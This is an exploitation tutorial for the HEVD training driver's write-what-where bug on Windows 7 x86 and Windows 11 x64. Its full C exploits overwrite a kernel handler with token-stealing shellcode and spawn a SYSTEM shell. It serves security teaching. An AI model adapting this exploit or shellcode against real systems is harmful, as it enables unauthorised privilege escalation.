0x04 - Introduction to Windows Kernel Write What Where Vulnerabilities
First off, if you’re following the series from the start, great job getting past the Use After Free in the Windows Kernel! We’ll now be exploiting a Write What Where vulnerability on Windows 7 (x86) then proceed to adapt what we learn to Windows 11 (x64).
Arguably this is one of the most powerful types of vulnerabilities - which personally, I prefer to call an Arbitrary Write since that’s what my buddies called it before I had ever heard of “Write What Where”. However, “Write What Where” may actually be a better term since it has a direct correlation to what the bug does whereas Arbitrary Write is a lot more broad.
Tomato, ToMAto, it does not matter let’s get started.
Table of Contents
What is a Write-What-Where (High Level)
Just in case you’re not familiar with what a “Write-What-Where” vulnerability is, let’s start with a quick, high-level overview.
To use a non-technical example there’s an episode of SpongeBob SquarePants where SpongeBob and Patrick have a snowball fight. Below is an image from said episode:
Normally, when you make a snow ball you form it into the shape of a sphere. Yet as seen in the image above, Patrick actually makes cubes. In fact Patrick actually makes a lot of different shapes:
Although Patrick does not actually win the snowball fight, he does perform characteristics of a hacker exploiting a Write-What-Where. In the episode, Patrick is launching whatever shapes he wants (Write), created from snow (What), and targeting SpongeBob (Where).
Similarly, in the context of a security vulnerability, an attacker can write arbitrary data - this could be anything, like a string, an integer, or a more complex object. Like Patrick, the attacker can also choose where to send this data, targeting specific parts of memory.
This ability to control both the data and its destination makes “Write-What-Where” vulnerabilities highly dangerous, as they can lead to memory corruption, privilege escalation, or even arbitrary code execution.
Windows 7 (x86)
As with the last couple of tutorials we’ll be starting with Windows 7 (x86). Due to the complexity of exploitation we’ll be including both exploits within this tutorial!
That said rev up that Windows 7 (x86) virtual machine!
Using the Source
As with the UaF let’s get a lay of the land ( ✧≖ ͜ʖ≖)
$ find . -name "ArbitraryWrite*"
./Driver/HEVD/ArbitraryWrite.h
./Driver/HEVD/ArbitraryWrite.c
Unlike the last couple of vulnerabilities, we’re not dealing with a lot of “Handler” functions, we’ll be mainly looking at ArbitraryWriteIoctlHandler.
ArbitraryWriteIoctlHandler()
ArbitraryWriteIoctlHandler
Looking at this handler (ArbitraryWrite.c), we can see that our user input will ultimately be passed into TriggerArbitraryWrite().
134 NTSTATUS
135 ArbitraryWriteIoctlHandler(
136 _In_ PIRP Irp,
137 _In_ PIO_STACK_LOCATION IrpSp
138 )
139 {
140 NTSTATUS Status = STATUS_UNSUCCESSFUL;
141 PWRITE_WHAT_WHERE UserWriteWhatWhere = NULL;
142
143 UNREFERENCED_PARAMETER(Irp);
144 PAGED_CODE();
145
146 UserWriteWhatWhere = (PWRITE_WHAT_WHERE)IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
147
148 if (UserWriteWhatWhere)
149 {
150 Status = TriggerArbitraryWrite(UserWriteWhatWhere);
151 }
152
153 return Status;
154 }
However, our input will be casted into a PWRITE_WHAT_WHERE
object (technically a pointer to a WRITE_WHAT_WHERE structure).
Let’s take a look at this structure (ArbitraryWrite.h).
62 typedef struct _WRITE_WHAT_WHERE
63 {
64 PULONG_PTR What;
65 PULONG_PTR Where;
66 } WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
We see two pointers to LONG
integers, nothing too crazy.
Having understood the structure layout, let’s look at the TriggerArbitraryWrite() function that takes our input as this structure type.
63 NTSTATUS
64 TriggerArbitraryWrite(
65 _In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
66 )
67 {
68 PULONG_PTR What = NULL;
69 PULONG_PTR Where = NULL;
70 NTSTATUS Status = STATUS_SUCCESS;
71
72 PAGED_CODE();
73
74 __try
75 {
76 //
77 // Verify if the buffer resides in user mode
78 //
79
80 ProbeForRead((PVOID)UserWriteWhatWhere, sizeof(WRITE_WHAT_WHERE), (ULONG)__alignof(UCHAR));
81
82 What = UserWriteWhatWhere->What;
83 Where = UserWriteWhatWhere->Where;
84
85 DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
86 DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));
87 DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
88 DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);
89
90 #ifdef SECURE
91 //
92 // Secure Note: This is secure because the developer is properly validating if address
93 // pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()/
94 // ProbeForWrite() routine before performing the write operation
95 //
96
97 ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
98 ProbeForWrite((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
99
100 *(Where) = *(What);
101 #else
102 DbgPrint("[+] Triggering Arbitrary Write\n");
103
104 //
105 // Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
106 // because the developer is writing the value pointed by 'What' to memory location
107 // pointed by 'Where' without properly validating if the values pointed by 'Where'
108 // and 'What' resides in User mode
109 //
110
111 *(Where) = *(What);
112 #endif
113 }
114 __except (EXCEPTION_EXECUTE_HANDLER)
115 {
116 Status = GetExceptionCode();
117 DbgPrint("[-] Exception Code: 0x%X\n", Status);
118 }
119
120 //
121 // There is one more hidden vulnerability. Find it out.
122 //
123
124 return Status;
125 }
As with all blocks of code, let’s take this section by section.
80 ProbeForRead((PVOID)UserWriteWhatWhere, sizeof(WRITE_WHAT_WHERE), (ULONG)__alignof(UCHAR));
81
82 What = UserWriteWhatWhere->What;
83 Where = UserWriteWhatWhere->Where;
84
85 DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
86 DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));
87 DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
88 DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);
First, we see that local variables of type PULONG_PTR
are assigned from our structure.
Following this code, we drop into the #else
statement since we’re targeting the vulnerable driver.
111 *(Where) = *(What);
Here we see that whatever is stored in our What pointer will be written to the Where pointer. To be more specific we’re dereferencing the Where pointer and assigning the value stored in the memory location pointed to by What.
In theory we can write whatever we want wherever we want. This means we do not need to worry too much about where to store our shellcode since we have access to the entire operating system since we’re running under the context of the kernel.
Our approach will be to leak the base address of HEVD and determine a function we can overwrite to execute our shellcode. Once our shellcode is placed in said function we can simply call it. In addition, we should not have to worry about SMEP since we will be executing a function that is meant to be in kernel space.
This is a seems easy enough… so let’s exploit it!
Exploitation
Seeing that this vulnerability was rather basic, I decided to write a PoC immediatley. Since we can write anywhere we want, we can simply overwrite any function!
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <windows.h>
#include <psapi.h>
#include <ntdef.h>
#include <winternl.h>
#include <shlwapi.h>
#define ARW_HELPER_OBJECTS 3
#define MAX_OBJECT_COUNT 65535
#define IOCTL(Function) CTL_CODE (FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_ARBITRARY_WRITE IOCTL(0x802)
#define HEVD_IOCTL_DELETE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX IOCTL(0x81B)
/* Structure used by Write-What-Where */
typedef struct _WRITE_WHAT_WHERE
{
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
/* typdef signature for ZwQuerySystemInformation */
typedef NTSTATUS (__stdcall *ZWQUERYSYSTEMINFORMATION)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
/* Structures used by KernelGetModuleBase */
typedef struct _SYSTEM_MODULE_ENTRY
{
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM_MODULE_ENTRY, *PSYSTEM_MODULE_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION
{
ULONG Count;
SYSTEM_MODULE_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
/* KernelGetModuleBase():
Function used to obtain kernel module address */
PVOID KernelGetModuleBase(PCHAR pcModuleName)
{
HANDLE hModule = NULL;
PVOID pSystemInfo = NULL;
PVOID pModule = NULL;
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;
NTSTATUS status = 0xc000009a; // STATUS_INSUFFICIENT_RESOURCES
SYSTEM_INFORMATION_CLASS SystemModuleInformation = 0x0B;
ULONG SystemInfoSize = 0;
hModule = LoadLibraryA("ntdll.dll");
if (hModule == NULL)
{
printf("[-] Failed to load ntdll.dll\n");
return NULL;
}
ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(hModule, "ZwQuerySystemInformation");
if (ZwQuerySystemInformation == NULL)
{
printf("[-] Failed to find ZwQuerySystemInformation within ntdll.dll");
CloseHandle(hModule);
return NULL;
}
/* Obtain the size of the requested information */
status = ZwQuerySystemInformation(SystemModuleInformation,
NULL,
SystemInfoSize,
&SystemInfoSize);
if (SystemInfoSize == 0) {
printf("[*] Failed to get size of SystemInformation\n");
CloseHandle(hModule);
return NULL;
}
pSystemInfo = (PSYSTEM_MODULE_INFORMATION)malloc(SystemInfoSize);
if (pSystemInfo == NULL)
{
printf("[-] Failed to allocate buffer for SystemInformation\n");
CloseHandle(hModule);
return NULL;
}
memset(pSystemInfo, '\0', SystemInfoSize);
/* Obtain the SystemModuleInformation */
status = ZwQuerySystemInformation(SystemModuleInformation,
pSystemInfo,
SystemInfoSize,
&SystemInfoSize);
PSYSTEM_MODULE_ENTRY pSysModule = ((PSYSTEM_MODULE_INFORMATION)(pSystemInfo))->Module;
for (unsigned long i = 0; i < ((PSYSTEM_MODULE_INFORMATION)(pSystemInfo))->Count; i++)
{
if (StrStrA(pSysModule[i].FullPathName, pcModuleName) != NULL)
{
pModule = pSysModule[i].ImageBase;
}
}
if (hModule != NULL)
{
CloseHandle(hModule);
}
return pModule;
}
/* CheckWin():
Simple function to check if we're running as SYSTEM */
int CheckWin(VOID)
{
DWORD win = 0;
DWORD dwLen = 0;
CHAR *cUsername = NULL;
GetUserNameA(NULL, &dwLen);
if (dwLen > 0) {
cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR));
} else {
printf("[-] Failed to allocate buffer for username check\n");
return -1;
}
GetUserNameA(cUsername, &dwLen);
win = strcmp(cUsername, "SYSTEM");
free(cUsername);
return (win == 0) ? win : -1;
}
/* WriteBytes():
This function triggers the Write-What-Where vulnerability */
void WriteBytes(HANDLE hHEVD, ULONG ulWhat, ULONG ulWhere)
{
DWORD dwBytesReturned;
WRITE_WHAT_WHERE www = { 0 };
www.Where = (PULONG)ulWhere;
www.What = &ulWhat;
printf("\t[*] Writing 0x%p to 0x%p\n", *www.What, www.Where);
DeviceIoControl(hHEVD,
HEVD_IOCTL_ARBITRARY_WRITE,
&www,
sizeof(WRITE_WHAT_WHERE),
NULL,
0x00,
&dwBytesReturned,
NULL);
return;
}
/* Exploit():
Arbitrary write */
int Exploit(HANDLE hHEVD)
{
DWORD i = 0;
DWORD dwShellcodeLength = 0;
DWORD dwBytesReturned = 0;
ULONG target = 0;
ULONG ulRawBytes = 0;
PVOID pHEVDBase = NULL;
CHAR cRawBytes[60] = { 0 };
CHAR cShellcode[]=
"\x90\x90\x90" // nops
// sickle -p windows/x86/kernel_token_stealer -f c -m pinpoint
"\x60" // pushal
"\x31\xc0" // xor eax, eax
"\x64\x8b\x80\x24\x01\x00\x00" // mov eax, dword ptr fs:[eax + 0x124]
"\x8b\x40\x50" // mov eax, dword ptr [eax + 0x50]
"\x89\xc1" // mov ecx, eax
"\xba\x04\x00\x00\x00" // mov edx, 4
"\x8b\x80\xb8\x00\x00\x00" // mov eax, dword ptr [eax + 0xb8]
"\x2d\xb8\x00\x00\x00" // sub eax, 0xb8
"\x39\x90\xb4\x00\x00\x00" // cmp dword ptr [eax + 0xb4], edx
"\x75\xed" // jne 0x1014
"\x8b\x90\xf8\x00\x00\x00" // mov edx, dword ptr [eax + 0xf8]
"\x89\x91\xf8\x00\x00\x00" // mov dword ptr [ecx + 0xf8], edx
"\x61" // popal
/* return code (sickle -a x86 -m asm_shell) */
"\x31\xc0" // xor eax, eax
"\xc2\x08\x00"; // ret 0x8
dwShellcodeLength = 60;
if ((dwShellcodeLength % 4) != 0)
{
printf("[-] Shellcode must by divisible by 4\n");
return -1;
}
pHEVDBase = KernelGetModuleBase("HEVD");
if (pHEVDBase == NULL)
{
printf("[-] Failed to obtain the base address of HEVD\n");
return -1;
}
printf("[*] Obtained HEVD base address: 0x%p\n", pHEVDBase);
target = (ULONG)pHEVDBase + 0x448f2;
printf("[*] Overwriting memory @{DeleteArbitraryReadWriteHelperObjecNonPagedPoolNxIoctlHandler}\n");
/* This is a quick for loop I whipped up to write our shellcode. The way this works is the buffer
is converted into a little endian ASCII address (e.g 0x41424344 -> 0x44434241) then we convert
the ASCII address to an unsigned long integer (4 bytes) to be written via the Write-What-Where
vulnerability. Each iteration we increment the target address by 4 (32bit address) to point to
the next address, we also increment the pointer to the shellcode array by 4 (we can only write
4 bytes at a time). */
for (i = 0; i < dwShellcodeLength; i += 4)
{
sprintf(cRawBytes, "0x%02x%02x%02x%02x", ((uint32_t)cShellcode[i+3] & 0xff),
((uint32_t)cShellcode[i+2] & 0xff),
((uint32_t)cShellcode[i+1] & 0xff),
((uint32_t)cShellcode[i+0] & 0xff));
ulRawBytes = strtoul(cRawBytes, NULL, 16);
WriteBytes(hHEVD, ulRawBytes, target);
memset(cRawBytes, '\0', 60);
target += 4;
}
printf("[+] Calling DeleteArbitraryReadWriteHelperObjecNonPagedPoolNx\n");
DeviceIoControl(hHEVD,
HEVD_IOCTL_DELETE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX,
NULL,
0,
NULL,
0x00,
&dwBytesReturned,
NULL);
return CheckWin();
}
int main()
{
HANDLE hHEVD = NULL;
hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hHEVD == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
return -1;
}
if (Exploit(hHEVD) == 0) {
printf("[+] Exploitation successful, enjoy your shell!\n\n");
system("cmd.exe");
} else {
printf("[-] Exploitation failed, run again\n");
return -1;
}
if (hHEVD != INVALID_HANDLE_VALUE) {
CloseHandle(hHEVD);
}
}
Successful exploitation shown below :)
Great work exploiting a Write-What-Where vulnerability! As a challenge to you, before reading the next section go ahead and attempt exploitation against any version of Windows 11 (x64).
If you manage to get code execution, ask yourself what are the main changes? Are there any? Even if you don’t get it before the next section, I’m sure you will walk away with a valuable set of skills to further enhance your approach during exploitation :)
Windows 11 (x64)
Having completed this challenge rather quickly in Windows 7 (x86), let’s try exploitation in Windows 11 (x64).
Reverse Engineering
Looking at the vulnerable function in Ghidra it’s easy to spot the arbitrary write using the pseudo code.
The next thing we need to do is identify what the members are of the _WRITE_WHAT_WHERE
structure, in this case it’s easy to identify since we see the members being accessed are being stored in unsigned long pointers. However, since we have symbols, we can easily locate this just to be sure in the Data Type Manager
.
Knowing this information we can start to generate a PoC to interact with this function.
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <windows.h>
#include <psapi.h>
#include <ntdef.h>
#include <winternl.h>
#include <shlwapi.h>
#define ARBITRARY_WRITE 0x22200b
/* Structure used by Write-What-Where */
typedef struct _WRITE_WHAT_WHERE
{
uint64_t *ullpWhat;
uint64_t *ullpWhere;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
LPVOID GetKernelModuleBase(PCHAR pKernelModule)
{
char pcDriver[1024] = { 0 };
LPVOID lpvTargetDriver = NULL;
LPVOID *lpvDrivers = NULL;
DWORD dwCB = 0;
DWORD dwDrivers = 0;
DWORD i = 0;
EnumDeviceDrivers(NULL, dwCB, &dwCB);
if (dwCB <= 0)
return NULL;
lpvDrivers = (LPVOID *)malloc(dwCB * sizeof(LPVOID));
if (lpvDrivers == NULL)
return NULL;
if (EnumDeviceDrivers(lpvDrivers, dwCB, &dwCB))
{
dwDrivers = dwCB / sizeof(LPVOID);
for (i = 0; i < dwDrivers; i++)
if (GetDeviceDriverBaseNameA(lpvDrivers[i], pcDriver, sizeof(pcDriver)))
if (StrStrA(pcDriver, pKernelModule) != NULL)
lpvTargetDriver = lpvDrivers[i];
}
free(lpvDrivers);
return lpvTargetDriver;
}
void WriteBytes(HANDLE hHEVD, uint64_t ullWhat, uint64_t ullWhere)
{
DWORD dwBytesReturned = 0;
WRITE_WHAT_WHERE www = { 0 };
www.ullpWhere = (uint64_t *)ullWhere;
www.ullpWhat = &ullWhat;
printf("\t[*] Writing 0x%p to 0x%p\n", *www.ullpWhat, www.ullpWhere);
DeviceIoControl(hHEVD,
ARBITRARY_WRITE,
&www,
sizeof(WRITE_WHAT_WHERE),
NULL,
0x00,
&dwBytesReturned,
NULL);
return;
}
int Exploit(HANDLE hHEVD)
{
LPVOID pHEVDBase = NULL;
DWORD i = 0;
DWORD dwShellcodeLength = 0;
DWORD dwBytesReturned = 0;
uint64_t ullTarget = 0;
uint64_t ullRawBytes = 0;
CHAR cRawBytes[60] = { 0 };
CHAR shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x42";
dwShellcodeLength = 8;
if ((dwShellcodeLength % 8) != 0)
{
printf("[-] Shellcode must be divisible by 8\n");
return -1;
}
pHEVDBase = GetKernelModuleBase("HEVD");
if (pHEVDBase == NULL)
{
printf("[-] Failed to obtain the base address of HEVD\n");
return -1;
}
printf("[*] Obtained the base address of HEVD: 0x%p\n", pHEVDBase);
ullTarget = (uint64_t)pHEVDBase + 0x85b14;
printf("[*] Overwriting memory @{DeleteArbitraryReadWriteHelperObjecNonPagedPoolNxIoctlHandler}\n");
for (i = 0; i < dwShellcodeLength; i += sizeof(uint64_t))
{
sprintf(cRawBytes, "0x%02x%02x%02x%02x%02x%02x%02x%02x", ((uint32_t)shellcode[i+7] & 0xff),
((uint32_t)shellcode[i+6] & 0xff),
((uint32_t)shellcode[i+5] & 0xff),
((uint32_t)shellcode[i+4] & 0xff),
((uint32_t)shellcode[i+3] & 0xff),
((uint32_t)shellcode[i+2] & 0xff),
((uint32_t)shellcode[i+1] & 0xff),
((uint32_t)shellcode[i+0] & 0xff));
ullRawBytes = strtoull(cRawBytes, NULL, 16);
WriteBytes(hHEVD, ullRawBytes, ullTarget);
memset(cRawBytes, '\0', 60);
ullTarget += sizeof(uint64_t);
}
}
int main()
{
HANDLE hHEVD = NULL;
hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hHEVD == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
return -1;
}
Exploit(hHEVD);
if (hHEVD != NULL)
CloseHandle(hHEVD);
return 0;
}
Let’s test this.
Once sent we can see we have successfully triggered the arbitrary write :)
Exploitation
After some tinkering I was able to write a fully functioning exploit that can be seen below:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <windows.h>
#include <psapi.h>
#include <ntdef.h>
#include <winternl.h>
#include <shlwapi.h>
#define ARBITRARY_WRITE 0x22200b
#define TARGET_FUNCTION 0x22206f
/* Structure used by Write-What-Where */
typedef struct _WRITE_WHAT_WHERE
{
uint64_t *ullpWhat;
uint64_t *ullpWhere;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
/* GetKernelModuleBase():
Function used to obtain kernel module address */
LPVOID GetKernelModuleBase(PCHAR pKernelModule)
{
char pcDriver[1024] = { 0 };
LPVOID lpvTargetDriver = NULL;
LPVOID *lpvDrivers = NULL;
DWORD dwCB = 0;
DWORD dwDrivers = 0;
DWORD i = 0;
EnumDeviceDrivers(NULL, dwCB, &dwCB);
if (dwCB <= 0)
return NULL;
lpvDrivers = (LPVOID *)malloc(dwCB * sizeof(LPVOID));
if (lpvDrivers == NULL)
return NULL;
if (EnumDeviceDrivers(lpvDrivers, dwCB, &dwCB))
{
dwDrivers = dwCB / sizeof(LPVOID);
for (i = 0; i < dwDrivers; i++)
if (GetDeviceDriverBaseNameA(lpvDrivers[i], pcDriver, sizeof(pcDriver)))
if (StrStrA(pcDriver, pKernelModule) != NULL)
lpvTargetDriver = lpvDrivers[i];
}
free(lpvDrivers);
return lpvTargetDriver;
}
/* WriteBytes():
This function triggers the Write-What-Where vulnerability */
void WriteBytes(HANDLE hHEVD, uint64_t ullWhat, uint64_t ullWhere)
{
DWORD dwBytesReturned = 0;
WRITE_WHAT_WHERE www = { 0 };
www.ullpWhere = (uint64_t *)ullWhere;
www.ullpWhat = &ullWhat;
printf("\t[*] Writing 0x%p to 0x%p\n", *www.ullpWhat, www.ullpWhere);
DeviceIoControl(hHEVD,
ARBITRARY_WRITE,
&www,
sizeof(WRITE_WHAT_WHERE),
NULL,
0x00,
&dwBytesReturned,
NULL);
return;
}
/* CheckWin():
Simple function to check if we're running as SYSTEM */
int CheckWin(VOID)
{
DWORD win = 0;
DWORD dwLen = 0;
CHAR *cUsername = NULL;
GetUserNameA(NULL, &dwLen);
if (dwLen > 0) {
cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR));
} else {
printf("[-] Failed to allocate buffer for username check\n");
return -1;
}
GetUserNameA(cUsername, &dwLen);
win = strcmp(cUsername, "SYSTEM");
free(cUsername);
return (win == 0) ? win : -1;
}
/* Exploit():
Arbitrary Write */
int Exploit(HANDLE hHEVD)
{
LPVOID pHEVDBase = NULL;
DWORD i = 0;
DWORD dwShellcodeLength = 0;
DWORD dwBytesReturned = 0;
uint64_t ullTarget = 0;
uint64_t ullRawBytes = 0;
CHAR cRawBytes[60] = { 0 };
CHAR shellcode[]=
/* ALIGNMENT */
"\x90\x90"
/* python3 sickle.py -p windows/x64/kernel_token_stealer -f c -m pinpoint (58 bytes) */
"\x65\x48\xa1\x88\x01\x00\x00\x00\x00\x00\x00" // movabs rax, qword ptr gs:[0x188]
"\x48\x8b\x80\xb8\x00\x00\x00" // mov rax, qword ptr [rax + 0xb8]
"\x48\x89\xc1" // mov rcx, rax
"\xb2\x04" // mov dl, 4
"\x48\x8b\x80\x48\x04\x00\x00" // mov rax, qword ptr [rax + 0x448]
"\x48\x2d\x48\x04\x00\x00" // sub rax, 0x448
"\x38\x90\x40\x04\x00\x00" // cmp byte ptr [rax + 0x440], dl
"\x75\xeb" // jne 0x1017
"\x48\x8b\x90\xb8\x04\x00\x00" // mov rdx, qword ptr [rax + 0x4b8]
"\x48\x89\x91\xb8\x04\x00\x00" // mov qword ptr [rcx + 0x4b8], rdx
/* KERNEL RECOVERY */
"\x48\x31\xc0" /* xor rax, rax */
"\xc3"; /* ret */
dwShellcodeLength = 64;
if ((dwShellcodeLength % 8) != 0)
{
printf("[-] Shellcode must be divisible by 8\n");
return -1;
}
pHEVDBase = GetKernelModuleBase("HEVD");
if (pHEVDBase == NULL)
{
printf("[-] Failed to obtain the base address of HEVD\n");
return -1;
}
printf("[*] Obtained the base address of HEVD: 0x%p\n", pHEVDBase);
ullTarget = (uint64_t)pHEVDBase + 0x85b14;
printf("[*] Overwriting memory @{DeleteArbitraryReadWriteHelperObjecNonPagedPoolNxIoctlHandler}\n");
/* Same operation as the Windows 7 exploit just ported to work on 64bit addressing */
for (i = 0; i < dwShellcodeLength; i += sizeof(uint64_t))
{
sprintf(cRawBytes, "0x%02x%02x%02x%02x%02x%02x%02x%02x", ((uint32_t)shellcode[i+7] & 0xff),
((uint32_t)shellcode[i+6] & 0xff),
((uint32_t)shellcode[i+5] & 0xff),
((uint32_t)shellcode[i+4] & 0xff),
((uint32_t)shellcode[i+3] & 0xff),
((uint32_t)shellcode[i+2] & 0xff),
((uint32_t)shellcode[i+1] & 0xff),
((uint32_t)shellcode[i+0] & 0xff));
ullRawBytes = strtoull(cRawBytes, NULL, 16);
WriteBytes(hHEVD, ullRawBytes, ullTarget);
memset(cRawBytes, '\0', 60);
ullTarget += sizeof(uint64_t);
}
printf("[*] Shellcode buffer written!!\n");
printf("[*] Calling DeleteArbitraryReadWriteHelperObjecNonPagedPoolNxIoctlHandler\n");
DeviceIoControl(hHEVD,
TARGET_FUNCTION,
NULL,
0x00,
NULL,
0x00,
&dwBytesReturned,
NULL);
return CheckWin();
}
int main()
{
HANDLE hHEVD = NULL;
hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hHEVD == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
return -1;
}
if (Exploit(hHEVD) == 0) {
printf("[+] Exploitation successful, enjoy the shell!!\n\n");
system("cmd.exe");
} else {
printf("[*] Exploitation failed, run again\n");
}
if (hHEVD != NULL)
CloseHandle(hHEVD);
return 0;
}
Once sent, we achieve code execution!